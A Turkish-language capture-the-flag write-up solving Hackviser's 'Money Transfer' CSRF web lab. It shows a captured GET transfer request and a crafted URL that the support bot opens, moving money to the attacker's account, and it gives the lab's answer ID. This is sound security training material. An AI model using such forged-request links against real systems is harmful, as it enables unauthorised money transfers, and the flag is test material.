

MONEY TRANSFER WRITE-UP

Bu yazımda sizlere Hackviser platformu üzerinde bulunan Web Lab kısmı altında CSRF zafiyetinin Money Transfer labının çözümünü anlatacağım.

SENARYO: Bu laboratuvar bir CSRF güvenlik açığı içermektedir.

Laboratuvarı tamamlamak için, hesabınıza para aktarmak için bir URL oluşturun ve bağlantıyı sağ alttaki canlı destek aracılığıyla gönderin. Destek personeli gönderdiğiniz bağlantıyı çalıştıracak ve istemeden hesabınıza para aktaracaktır.

Kullanıcı hesabına para geldiğinde görünen transfer numarası nedir?

ÇÖZÜM: Sitemize bir giriş yapalım.

Money Transfer

Reset

Your money in your account: 1000 \$

Welcome, user

Transfer amount:

Transfer amount

Receiver:

Choose

Confirm

Bizi böyle bir site karşılıyor. Seçenekler kısmında sadece admin kullanıcısını seçebiliyorsun. Şimdi buraya istek gönderip bir Burp programında yakalayalım.

```
1 GET /index.php?transfer_amount=100&receiver=admin HTTP/1.1
2 Host: legible-riddler.europe1.hackviser.space
3 Cookie: PHPSESSID=26ju61ghtksce4d8jcmgvdvdrdc
4 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
```

Burada admin yazan yeri user olarak değiştirip

deneyelim.

You cannot send money to yourself!

Cevabını aldık. Senaryoda da dediği gibi canlı desteğe URL isteği göndererek o bizim için bu işlemi yapabilir.

Şimdi URL oluşturup deneyelim.

https://legible-riddler.europe1.hackviser.space/index.php?transfer_amount=10000&receiver=user

Burada tek yaptığım şey en sonda yazan admin kısmını user'e çevirmek oldu. Şimdi bu URL'i canlı desteğe gönderelim.

Money came to your account!
Transaction ID: fe96d3dcee84e89cd
Your money in your account: 10900 \$

You cannot send money to yourself!

Welcome, user

Transfer amount:

Transfer amount

İşlemimiz başarılı oldu.

Cevap: **fe96d3dcee84e89cd**

Send us a message.

https://legible-
riddler.europe1.hackviser.sp
transfer_amount=10000&r

We received your
message, thank you!
admin

KISA BİR NOT: Bizim admin'i user'a çevirmemiz ezbere olmadı.

Receiver:

Choose

Choose

admin

user

Burada bizim user olduğumuzu gördük.